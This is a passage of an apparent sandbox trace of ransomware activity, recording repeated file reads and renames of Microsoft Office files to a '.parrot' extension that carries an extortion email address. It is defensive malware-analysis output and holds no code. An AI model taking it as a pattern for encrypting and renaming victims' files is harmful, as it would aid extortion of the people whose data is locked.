lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.404] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.404] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.406] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.406] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x445d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x445d, lpOverlapped=0x0) returned 1 [0177.407] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.412] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.412] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.413] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.414] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5aec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5aec, lpOverlapped=0x0) returned 1 [0177.415] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR9F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir9f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.420] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.420] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.425] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.425] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x189e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x189e, lpOverlapped=0x0) returned 1 [0177.426] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPAPERS.INI.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpapers.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.463] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.463] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.464] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.465] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x29, lpOverlapped=0x0) returned 1 [0177.465] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.465] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.482] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.482] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.483] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.484] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13ad, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x13ad, lpOverlapped=0x0) returned 1 [0177.485] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.493] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.493] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.494] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.495] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1706, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1706, lpOverlapped=0x0) returned 1 [0177.496] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.502] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.502] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.503] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.503] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6499, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6499, lpOverlapped=0x0) returned 1 [0177.505] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.505] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR12F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir12f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.511] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.511] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.512] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.513] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ce8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3ce8, lpOverlapped=0x0) returned 1 [0177.513] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR13F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir13f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.520] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.520] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.521] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.521] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x645b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x645b, lpOverlapped=0x0) returned 1 [0177.524] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.525] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR14F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir14f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.530] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.530] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.532] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x452b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x452b, lpOverlapped=0x0) returned 1 [0177.533] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR15F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir15f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.539] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.539] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.540] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.540] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2fc1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2fc1, lpOverlapped=0x0) returned 1 [0177.541] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR16F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir16f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.547] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.547] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.549] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.549] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34cf, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x34cf, lpOverlapped=0x0) returned 1 [0177.550] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR17F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir17f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.555] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.555] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.557] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.557] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4be9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4be9, lpOverlapped=0x0) returned 1 [0177.558] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.565] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.565] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.567] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.567] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc11, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc11, lpOverlapped=0x0) returned 1 [0177.567] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR19F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir19f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.573] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.573] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.574] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.574] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xef5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xef5, lpOverlapped=0x0) returned 1 [0177.575] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.581] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.581] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.583] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.584] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b75, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b75, lpOverlapped=0x0) returned 1 [0177.584] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR1F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir1f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.591] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.591] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.592] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.592] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc85, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xc85, lpOverlapped=0x0) returned 1 [0177.593] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.593] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR20F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir20f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.598] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.598] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.632] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.632] ReadFile (in: hFile=0x284, 